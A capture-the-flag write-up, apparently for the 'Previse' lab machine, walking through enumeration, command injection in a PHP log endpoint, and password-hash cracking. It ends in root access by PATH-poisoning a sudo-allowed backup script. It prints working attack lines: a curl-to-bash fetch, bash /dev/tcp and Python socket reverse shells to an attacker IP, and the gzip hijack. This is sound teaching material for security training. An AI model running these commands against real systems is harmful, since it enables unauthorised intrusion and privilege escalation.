Summary
Very cool and straightforward box. Great to learn new skills in enumeration with tools like BurpSuite, reverse shells, path poisoning shell stabilisation etc.. It’s great for beginners! I hope you will learn something new and advance your knowledge!
Enumeration
NMAP
We have found two widely known open ports.
┌──(root💀kali)-[~]
└─# nmap -sV -sC -T4 -p- -v previse.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Dirbuster on port 80

The discovery of the found directories allowed me to analyse them in burp.
BurpSuite:
Account creation page:

Let’s try to create one. It says I need to provide a username, even though such is provided. Perhaps I have to change something…

Files on previse.htb. Discovered a siteBackup.zip file and a username “newguy”.

Additionally download.php allows us to download files but also, we see that there is a possible attack vector in “?file=” .
Tried downloading the file with no success through the use of curl.
In the status file we can see that there is 1 administrator account and 1 file (probably the zip backup file). Additionally, mysql is online and connected – I have to investigate that as well. Tried connecting to it and got an error because I have to be locally on to the machine in order to be able to connect to the database: “ERROR 2002 (HY000): Can’t connect to MySQL server on ‘10.10.11.104’ (115)”

Hydra on login.php
I have found a username, perhaps I could try to bruteforce it with hydra. The bruteforce was unsuccessful, no password was found.
┌──(root💀kali)-[~]
└─# hydra -l newguy -P /usr/share/wordlists/rockyou.txt 10.10.11.104 http-post-form "/login.php:username=newguy&password=^PASS^:Invalid Username or Password"
[DATA] attacking http-post-form://10.10.11.104:80/login.php:username=newguy&password=^PASS^:Invalid Username or Password
Recuperate, rethink, adapt
At this point I had to rethink what I am doing as I was stuck on foothold for quite a while. Decided to go back on account creation and try to modify the POST request body.
Finally, I was able to create a new account:

Backup Zip
At this point, I logged in as the test123 user we created and downloaded the backup.zip file.
The zip contained the following files:
┌──(root💀kali)-[~/Downloads/siteBackup]
└─# ls
accounts.php config.php download.php file_logs.php files.php footer.php header.php index.php login.php logout.php logs.php nav.php status.php
Analyzing them 1 by 1, I found mysql credentials in config.php. This I will be using once I get a foothold onto the machine.
┌──(root💀kali)-[~/Downloads/siteBackup]
└─# cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'EDITED';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Tried sshing with the same credentials but got wrong password. I kept enumerating.
┌──(root💀kali)-[~/Downloads/siteBackup]
└─# cat logs.php
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
The code is vulnerable! Within the line
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); echo $output;
we see that it uses system commands and reflects them back. The delim variable is injectable so we could use it to invoke a reverse shell.
Foothold

In the above code, I have used the & operand to concatenate another system command curl to curl my reverse shell file which I am hosting with a python script and pipe the script to bash therefore I should get a reverse shell.
- Create your reverse shell file:
┌──(root💀kali)-[~/php-reverse-shell]
└─# nano revshell.sh
#!/bin/bash
bash -i >& /dev/tcp/YOUR IP/1234 0>&1
┌──(root💀kali)-[~/php-reverse-shell]
└─# chmod u+x revshell.sh
- Host the reverse shell script:
┌──(root💀kali)-[~/php-reverse-shell]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Open a netcat listener to catch the connection (also don’t forget to edit the reverse shell file to point to your IP address and specify a port as well)
┌──(root💀kali)-[~/Downloads/siteBackup]
└─# nc -nvlp 1234 130 ⨯
listening on [any] 1234 ...
- Make the call by sending the requerst from burp and catch the connection
┌──(root💀kali)-[~/php-reverse-shell]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 51000
bash: cannot set terminal process group (1494): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/html$
Stabilise your shell
[email protected]:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:/var/www/html$ export TERM=xterm
export TERM=xterm
[email protected]:/var/www/html$ ^Z
zsh: suspended nc -nvlp 1234
┌──(root💀kali)-[~/php-reverse-shell]
└─# stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -nvlp 1234
[email protected]:/var/www/html$
Privilege Escalation
Now that I can use the terminal without constrains, I will enumerate the local directories before proceeding to mysql. Usually, we use oneliners but I have found that it is normally better to manually go through the initial folders within /var/www/html up until /var/ and if you don’t find anything proceed to automatic enumeration with find and other privesc tools. In this case tho, my curiousity led me to check /opt as well since it is where user files could be located as well.
[email protected]:/var/www/html$ cd ..
[email protected]:/var/www$ ls
file_access.log html out.log
[email protected]:/var/www$ cd ..
[email protected]:/var$ ls
backups crash local log opt snap tmp
cache lib lock mail run spool www
[email protected]:/var$ cd tmp
[email protected]:/var/tmp$ ls
[email protected]:/var/tmp$ cd ..
[email protected]:/var$ cd /opt
[email protected]:/opt$ ls
scripts
[email protected]:/opt$ cd scripts
[email protected]:/opt/scripts$ ls
access_backup.sh log_process.py
[email protected]:/opt/scripts$ file access_backup.sh
access_backup.sh: Bourne-Again shell script, ASCII text executable
[email protected]:/opt/scripts$ cat access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
[email protected]:/opt/scripts$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Jul 26 18:41 .
drwxr-xr-x 3 root root 4096 Jul 26 18:41 ..
-rwxr-xr-x 1 root root 486 Jun 6 12:49 access_backup.sh
-rw-r--r-- 1 m4lwhere m4lwhere 320 Jun 6 12:25 log_process.py
[email protected]:/opt/scripts$
We have found a script called “access_backup.sh” that is owned by root and uses gzip to convert some files that serve another script we used previously on the website. We can also execute the script which will enable us to probably escalate through it later on. But first we need normal user access. Remember the mysql credentials we found?
[email protected]:/opt/scripts$ mysql -u root -p -D previse
Enter password:
mysql> SHOW databases
-> ;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
mysql> use previse
Database changed
mysql> SHOW tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
mysql> SELECT * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$EDITED. | 2021-05-27 18:18:36 |
| 2 | test123 | $1$🧂llol$sP8qi2I.K6urjPuzdGizl1 | 2021-11-17 09:12:13 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec)
We have gotten a password hash of the user m4lwhere. Now I have to crack it on my local kali. We see it starts with ‘$1$’ , investigating it with hashcat we see it corresponds to UNIX OS md5crypt:

The above screenshot about the help menu of hashcat provides us with an example for the usage of hashcat as well.
┌──(root💀kali)-[~]
└─# echo '$1$🧂llol$EDITED.' > to-crack.hash
┌──(root💀kali)-[~]
└─# hashcat -a 0 -m 500 to-crack.hash /usr/share/wordlists/rockyou.txt 3 ⨯
hashcat (v6.1.1) starting...
<snipped strings>
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$🧂llol$EDITED.
Time.Started.....: Wed Nov 17 05:28:25 2021 (8 secs)
Time.Estimated...: Wed Nov 17 05:43:09 2021 (14 mins, 36 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16236 H/s (7.22ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 118016/14344385 (0.82%)
Rejected.........: 0/118016 (0.00%)
Restore.Point....: 118016/14344385 (0.82%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: ester1 -> death7
Time.Estimated…: 14 mins, 36 secs – Time for some Asmonbald videos to kill some time watching him complaining about Activision killing his favorite game.
$1$🧂llol$EDITED.:EDITED
Session..........: hashcat
Status...........: Cracked
Now that we have the user flag, it is time to proceed to rooting the machine. I have used find to look for SETUID files. Always check for user owned files and commands that the user may run on the machine with sudo -l.
[email protected]:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/at
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping
[email protected]:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
As expected, from our previous enumeration, we see the access_backup.sh and we are now 100% sure this is de wei to root.
[email protected]:/opt/scripts$ cat access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
- Path poison attempt 1 – partially unsuccessful. I got root, but I could not make almost any system commands. I thought I broke the PATH variable. I also tried specifying the absolute path like /bin/ls but it did not work.
[email protected]:/tmp$ echo "/bin/bash" > gzip
[email protected]:/tmp$ chmod 777 gzip
[email protected]:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
[email protected]:/tmp$ export PATH=/tmp:$PATH
[email protected]:/tmp$ cd /opt/scripts/
[email protected]:/opt/scripts$ ls
access_backup.sh log_process.py
[email protected]:/opt/scripts$ sudo ./access_backup.sh
[email protected]:/opt/scripts# whoami
[email protected]:/opt/scripts# id
[email protected]:/opt/scripts# cd ..
[email protected]:/opt# cd
[email protected]:~# /bin/ls
[email protected]:~# echo $PATH
- Path poison attempt 2
- Cleared the content of gzip and inserted this instead:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0(CHANGE IP to your ip)",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- I usually find this to be really useful website when it comes to reverse shells: https://sentrywhale.com/documentation/reverse-shell
- Listen for a connection on port 8000 with a netcat listener:
┌──(root💀kali)-[~]
└─# nc -nvlp 8000 1 ⨯
listening on [any] 8000 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 53964
# id
uid=0(root) gid=0(root) groups=0(root)